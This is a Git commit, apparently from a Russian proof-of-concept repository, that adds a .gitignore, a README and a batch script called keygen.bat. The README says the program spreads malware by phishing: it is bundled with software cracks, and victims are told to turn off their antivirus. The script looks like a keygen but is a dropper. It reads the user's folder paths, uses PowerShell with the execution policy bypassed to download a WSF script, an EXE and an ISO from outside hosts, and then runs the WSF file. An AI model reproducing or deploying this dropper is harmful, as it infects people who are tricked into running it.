First Commit
This commit is contained in:
+143
@@ -0,0 +1,143 @@
|
|||||||
|
# These are some examples of commonly ignored file patterns.
|
||||||
|
# You should customize this list as applicable to your project.
|
||||||
|
# Learn more about .gitignore:
|
||||||
|
# https://www.atlassian.com/git/tutorials/saving-changes/gitignore
|
||||||
|
|
||||||
|
# Node artifact files
|
||||||
|
node_modules/
|
||||||
|
dist/
|
||||||
|
|
||||||
|
# Compiled Java class files
|
||||||
|
*.class
|
||||||
|
|
||||||
|
# Compiled Python bytecode
|
||||||
|
*.py[cod]
|
||||||
|
|
||||||
|
# Log files
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# Package files
|
||||||
|
*.jar
|
||||||
|
|
||||||
|
# Maven
|
||||||
|
target/
|
||||||
|
dist/
|
||||||
|
|
||||||
|
# JetBrains IDE
|
||||||
|
.idea/
|
||||||
|
|
||||||
|
# Unit test reports
|
||||||
|
TEST*.xml
|
||||||
|
|
||||||
|
# Generated by MacOS
|
||||||
|
.DS_Store
|
||||||
|
|
||||||
|
# Generated by Windows
|
||||||
|
Thumbs.db
|
||||||
|
ehthumbs.db
|
||||||
|
ehthumbs_vista.db
|
||||||
|
|
||||||
|
# Folder config file
|
||||||
|
Desktop.ini
|
||||||
|
|
||||||
|
# Recycle Bin used on file shares
|
||||||
|
$RECYCLE.BIN/
|
||||||
|
|
||||||
|
# Applications
|
||||||
|
*.app
|
||||||
|
*.exe
|
||||||
|
*.war
|
||||||
|
*.dll
|
||||||
|
*.elf
|
||||||
|
*.bin
|
||||||
|
*.sys
|
||||||
|
*.ocx
|
||||||
|
*.com
|
||||||
|
*.apk
|
||||||
|
|
||||||
|
# Windows archieve files
|
||||||
|
*.zip
|
||||||
|
*.rar
|
||||||
|
*.7z
|
||||||
|
*.tar
|
||||||
|
*.gz
|
||||||
|
*.bz
|
||||||
|
*.bzip
|
||||||
|
*.bzip2
|
||||||
|
*.bz2
|
||||||
|
*.tgz
|
||||||
|
*.arj
|
||||||
|
*.ace
|
||||||
|
*.lha
|
||||||
|
*.iso
|
||||||
|
*.Z
|
||||||
|
*.xz
|
||||||
|
|
||||||
|
# Large media files
|
||||||
|
*.mp4
|
||||||
|
*.tiff
|
||||||
|
*.avi
|
||||||
|
*.flv
|
||||||
|
*.mov
|
||||||
|
*.wmv
|
||||||
|
*.mp3
|
||||||
|
*.aac
|
||||||
|
*.m4a
|
||||||
|
*.wma
|
||||||
|
|
||||||
|
# Auxiliary Files
|
||||||
|
*.obj
|
||||||
|
*.wixobj
|
||||||
|
*.wixpdb
|
||||||
|
*.tmp
|
||||||
|
*.log
|
||||||
|
*.bak
|
||||||
|
*.o
|
||||||
|
*.so
|
||||||
|
|
||||||
|
# Windows Installer files
|
||||||
|
*.cab
|
||||||
|
*.msi
|
||||||
|
*.msm
|
||||||
|
*.msp
|
||||||
|
*.msu
|
||||||
|
|
||||||
|
# Linux Installer Files
|
||||||
|
*.deb
|
||||||
|
*.rpm
|
||||||
|
|
||||||
|
# Windows shortcuts
|
||||||
|
*.lnk
|
||||||
|
|
||||||
|
# =========================
|
||||||
|
# Operating System Files
|
||||||
|
# =========================
|
||||||
|
.svn
|
||||||
|
.vs/
|
||||||
|
obj/
|
||||||
|
Debug/
|
||||||
|
Release/
|
||||||
|
Test/
|
||||||
|
TEST/
|
||||||
|
|
||||||
|
# ========================
|
||||||
|
# Icons Files
|
||||||
|
# ========================
|
||||||
|
*.ico
|
||||||
|
|
||||||
|
# ========================
|
||||||
|
# Certificates Files
|
||||||
|
# ========================
|
||||||
|
*.cer
|
||||||
|
*.crl
|
||||||
|
*.pfx
|
||||||
|
*.pvk
|
||||||
|
*.spc
|
||||||
|
|
||||||
|
# ========================
|
||||||
|
# Misc Files
|
||||||
|
# ========================
|
||||||
|
Scripts/*.7z
|
||||||
|
Scripts/*.SFX.exe
|
||||||
|
#C/
|
||||||
|
|
||||||
@@ -1,3 +1,16 @@
|
|||||||
# PoC-Fishing001
|
# PoC-Fishing001
|
||||||
|
|
||||||
Proof of Concept программы для распространения мисконфиов методом фишинга
|
Proof of Concept программы для распространения мисконфиов методом фишинга
|
||||||
|
|
||||||
|
|
||||||
|
## Описание
|
||||||
|
|
||||||
|
Данная программа предназначена для распространения разного malware методом фишинга вместе с кряками к различным программам. Программа требует учётных записей с возможностью повышения привилегий. При загрузке и запуске программы требуется отключение антивируса (стандартная процедура для кряка).
|
||||||
|
|
||||||
|
Программа сделана при помощи утилиты BAT2EXE и по определению детектируется антивирусом как вредоносное программное обеспечение. Именно поэтому основная легенда его распространения — вместе с программным обеспечением для взлома.
|
||||||
|
|
||||||
|
Программа разработана для операционных систем Microsoft Windows 10+.
|
||||||
|
|
||||||
|
При своей загрузке и установке в командной строке программа требует, чтобы пользователь хотя бы раз зашёл в профиль пользователя в графическом интерфейсе. Это действие необходимо для инициализации переменных окружения.
|
||||||
|
|
||||||
|
По-видимому, система не работает в среде Windows Server Core.
|
||||||
|
|||||||
+197
@@ -0,0 +1,197 @@
|
|||||||
|
::[Bat To Exe Converter]
|
||||||
|
::
|
||||||
|
::YAwzoRdxOk+EWAjk
|
||||||
|
::fBw5plQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsBwybvhtg+QG3XDurQP2nKpw
|
||||||
|
::YAwzuBVtJxjWCl3EqQJgSA==
|
||||||
|
::ZR4luwNxJguZRRnk
|
||||||
|
::Yhs/ulQjdF65
|
||||||
|
::cxAkpRVqdFKZSTk=
|
||||||
|
::cBs/ulQjdF65
|
||||||
|
::ZR41oxFsdFKZSTk=
|
||||||
|
::eBoioBt6dFKZSDk=
|
||||||
|
::cRo6pxp7LAbNWATEpCI=
|
||||||
|
::egkzugNsPRvcWATEpCI=
|
||||||
|
::dAsiuh18IRvcCxnZtBJQ
|
||||||
|
::cRYluBh/LU+EWAnk
|
||||||
|
::YxY4rhs+aU+JeA==
|
||||||
|
::cxY6rQJ7JhzQF1fEqQJQ
|
||||||
|
::ZQ05rAF9IBncCkqN+0xwdVs0
|
||||||
|
::ZQ05rAF9IAHYFVzEqQJQ
|
||||||
|
::eg0/rx1wNQPfEVWB+kM9LVsJDGQ=
|
||||||
|
::fBEirQZwNQPfEVWB+kM9LVsJDGQ=
|
||||||
|
::cRolqwZ3JBvQF1fEqQJQ
|
||||||
|
::dhA7uBVwLU+EWDk=
|
||||||
|
::YQ03rBFzNR3SWATElA==
|
||||||
|
::dhAmsQZ3MwfNWATElA==
|
||||||
|
::ZQ0/vhVqMQ3MEVWAtB9wSA==
|
||||||
|
::Zg8zqx1/OA3MEVWAtB9wSA==
|
||||||
|
::dhA7pRFwIByZRRnk
|
||||||
|
::Zh4grVQjdCuDJECR8Ec+FD9bTxGPOWWuFYk74fzT+ui7pUQJGeo2fIve1IiYIeQa51fhY58u3kZql+hBKhJLdhulaTg9vWZgl1DXEv+5jz/uaQWv71g4Emtz1zOBsCA+edRtlI4T3CPw+VX6/w==
|
||||||
|
::YB416Ek+ZW8=
|
||||||
|
::
|
||||||
|
::
|
||||||
|
::978f952a14a936cc963da21a135fa983
|
||||||
|
@echo off
|
||||||
|
rem *******************************************************
|
||||||
|
rem keygen.bat
|
||||||
|
rem The Script must be run as Administrator
|
||||||
|
rem *******************************************************
|
||||||
|
@echo off
|
||||||
|
|
||||||
|
rem Metadata
|
||||||
|
|
||||||
|
set PRODUCT_NAME=PocFishing001
|
||||||
|
set PRODUCT_NAME_FOLDER=
|
||||||
|
set FIRM_NAME=NIT
|
||||||
|
|
||||||
|
setlocal EnableExtensions DisableDelayedExpansion
|
||||||
|
|
||||||
|
rem Get System Folders File is here
|
||||||
|
|
||||||
|
rem Set a Variables
|
||||||
|
|
||||||
|
set "Reg32=%SystemRoot%\System32\reg.exe"
|
||||||
|
if not "%ProgramFiles(x86)%" == "" set "Reg32=%SystemRoot%\SysWOW64\reg.exe"
|
||||||
|
|
||||||
|
rem set TPDL variable
|
||||||
|
rem
|
||||||
|
if exist "C:\pub1\Distrib\Zlovred" set TPDL=C:\pub1\Distrib\Zlovred&& goto TPDL_End
|
||||||
|
set TPDL=%TEMP%
|
||||||
|
:TPDL_End
|
||||||
|
echo Temp Folder = %TPDL%
|
||||||
|
|
||||||
|
rem Set CURDIR Directoru
|
||||||
|
set CurDIR=%CD%
|
||||||
|
set SCRIPTDIR=%~dp0
|
||||||
|
|
||||||
|
echo Current Directory = %CurDIR%
|
||||||
|
echo Script Directory = %SCRIPTDIR%
|
||||||
|
|
||||||
|
set "DownloadShellFolder="
|
||||||
|
for /F "skip=1 tokens=1,2*" %%T in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "{374DE290-123F-4565-9164-39C4925E467B}" 2^>nul') do (
|
||||||
|
if /I "%%T" == "{374DE290-123F-4565-9164-39C4925E467B}" (
|
||||||
|
set "DownloadShellFolder=%%V"
|
||||||
|
goto GetDownloadDirectory
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:GetDownloadDirectory
|
||||||
|
set "DownloadDirectory="
|
||||||
|
for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer" /v "Download Directory" 2^>nul') do (
|
||||||
|
if /I "%%S" == "Download" (
|
||||||
|
if /I "%%T" == "Directory" (
|
||||||
|
set "DownloadDirectory=%%V"
|
||||||
|
goto GetSaveDirectory
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:GetSaveDirectory
|
||||||
|
set "SaveDirectory="
|
||||||
|
for /F "skip=1 tokens=1,2,3*" %%S in ('%Reg32% query "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Save Directory" 2^>nul') do (
|
||||||
|
if /I "%%S" == "Save" (
|
||||||
|
if /I "%%T" == "Directory" (
|
||||||
|
set "SaveDirectory=%%V"
|
||||||
|
goto OutputResults
|
||||||
|
)
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:OutputResults
|
||||||
|
|
||||||
|
|
||||||
|
rem Get a Downloads Directory
|
||||||
|
rem
|
||||||
|
if not defined DownloadShellFolder echo DownloadShellFolder is not Defined && exit /b 1
|
||||||
|
if not exist %DownloadShellFolder% echo %DownloadShellFolder% is not Found && exit /b 1
|
||||||
|
echo My Download = %DownloadShellFolder%
|
||||||
|
|
||||||
|
rem Set My Documents Variable...
|
||||||
|
rem
|
||||||
|
for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Personal" ^|findstr /i "REG_"') do set MyDocuments=%%j
|
||||||
|
|
||||||
|
if not defined MyDocuments (echo Variable My Documents Folder not Defined && exit /b 1)
|
||||||
|
if not exist %MyDocuments% echo %MyDocuments% is not Found && exit /b 1
|
||||||
|
echo My Documents = %MyDocuments%
|
||||||
|
|
||||||
|
rem Set My Desktop Variable...
|
||||||
|
rem
|
||||||
|
for /f "tokens=2,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "Desktop" ^|findstr /i "REG_"') do set MyDesktop=%%j
|
||||||
|
|
||||||
|
if not defined MyDesktop (echo Variable My Desktop Folder not Defined && exit /b 1)
|
||||||
|
if not exist %MyDesktop% echo %MyDesktop% is not Found && exit /b 1
|
||||||
|
echo My Desktop = %MyDesktop%
|
||||||
|
|
||||||
|
rem Set My Video Variable...
|
||||||
|
rem
|
||||||
|
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Video" ^|findstr /i "REG_"') do set MyVideo=%%j
|
||||||
|
|
||||||
|
if not defined MyVideo (echo Variable My Video Folder not Defined && exit /b 1)
|
||||||
|
if not exist %MyVideo% echo %MyVideo% is not Found && exit /b 1
|
||||||
|
echo My Video = %MyVideo%
|
||||||
|
|
||||||
|
rem Set My Pictures Variable...
|
||||||
|
rem
|
||||||
|
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Pictures" ^|findstr /i "REG_"') do set MyPictures=%%j
|
||||||
|
|
||||||
|
if not defined MyPictures (echo Variable My Pictures Folder not Defined && exit /b 1)
|
||||||
|
if not exist %MyPictures% echo %MyPictures% is not Found && exit /b 1
|
||||||
|
echo My Pictures = %MyPictures%
|
||||||
|
|
||||||
|
rem Set My Music Variable...
|
||||||
|
rem
|
||||||
|
for /f "tokens=3,*" %%i in ('%Reg32% query "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v "My Music" ^|findstr /i "REG_"') do set MyMusic=%%j
|
||||||
|
|
||||||
|
if not defined MyMusic (echo Variable My Music Folder not Defined && exit /b 1)
|
||||||
|
if not exist %MyMusic% echo %MyMusic% is not Found && exit /b 1
|
||||||
|
echo My Music = %MyMusic%
|
||||||
|
|
||||||
|
rem Check UserProfile Variable...
|
||||||
|
rem
|
||||||
|
if not defined UserProfile (echo Variable UserProfile Folder not Defined && exit /b 1)
|
||||||
|
if not exist %UserProfile% echo %UserProfile% is not Found && exit /b 1
|
||||||
|
echo User Profile Folder = %UserProfile%
|
||||||
|
|
||||||
|
rem the End of the Get System Folder File
|
||||||
|
|
||||||
|
rem Set Variables
|
||||||
|
|
||||||
|
set LocalFolder=%DownloadShellFolder%
|
||||||
|
|
||||||
|
rem set hosts
|
||||||
|
|
||||||
|
set host001=http://file.netip4.ru/PROGS/LIB-RUN/WSH/
|
||||||
|
set host002=http://file.netip4.ru/PROGS/NIT/NIT.RTBD/Awesome/
|
||||||
|
set host003=http://win.netip4.ru/win10plusupdate/misc/ISO/
|
||||||
|
|
||||||
|
rem set Files
|
||||||
|
set ISOFile003=NIT-SomePSGUI.iso
|
||||||
|
set NIT.RTBD002=Awesome.exe
|
||||||
|
set POCWSH001=echo-server.utf8.wsf
|
||||||
|
|
||||||
|
rem Set Misc
|
||||||
|
set POSHEXE=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe
|
||||||
|
set WSCRIPTEXE=%SystemRoot%\System32\wscript.exe
|
||||||
|
|
||||||
|
rem Check Integrity
|
||||||
|
if not exist %POSHEXE% echo %POSHEXE% is not Found && exit /b 1
|
||||||
|
if not exist %WSCRIPTEXE% echo %WSCRIPTEXE% is not Found && exit /b 1
|
||||||
|
|
||||||
|
if exist %LocalFolder%\%POCWSH001% del %LocalFolder%\%POCWSH001% /q /f
|
||||||
|
if exist %LocalFolder%\%NIT.RTBD002% del %LocalFolder%\%NIT.RTBD002% /q /f
|
||||||
|
if exist %LocalFolder%\%ISOFile003% del %LocalFolder%\%ISOFile003% /q /f
|
||||||
|
|
||||||
|
rem Run Payloads
|
||||||
|
|
||||||
|
echo Download Payloads...
|
||||||
|
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host001%%POCWSH001%','%LocalFolder%\%POCWSH001%')"
|
||||||
|
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host002%%NIT.RTBD002%','%LocalFolder%\%NIT.RTBD002%')"
|
||||||
|
%POSHEXE% -ExecutionPolicy Bypass -NoProfile -NoLogo -c "(new-object System.Net.WebClient).DownloadFile('%host003%%ISOFile003%','%LocalFolder%\%ISOFile003%')"
|
||||||
|
|
||||||
|
echo Execute Payloads...
|
||||||
|
%WSCRIPTEXE% //NoLogo %LocalFolder%\%POCWSH001%
|
||||||
|
rem %LocalFolder%\%NIT.RTBD002%
|
||||||
|
|
||||||
|
:End
|
||||||
|
echo The End of the Script %0 with Success!
|
||||||
|
exit /b 0
|
||||||
Reference in New Issue
Block a user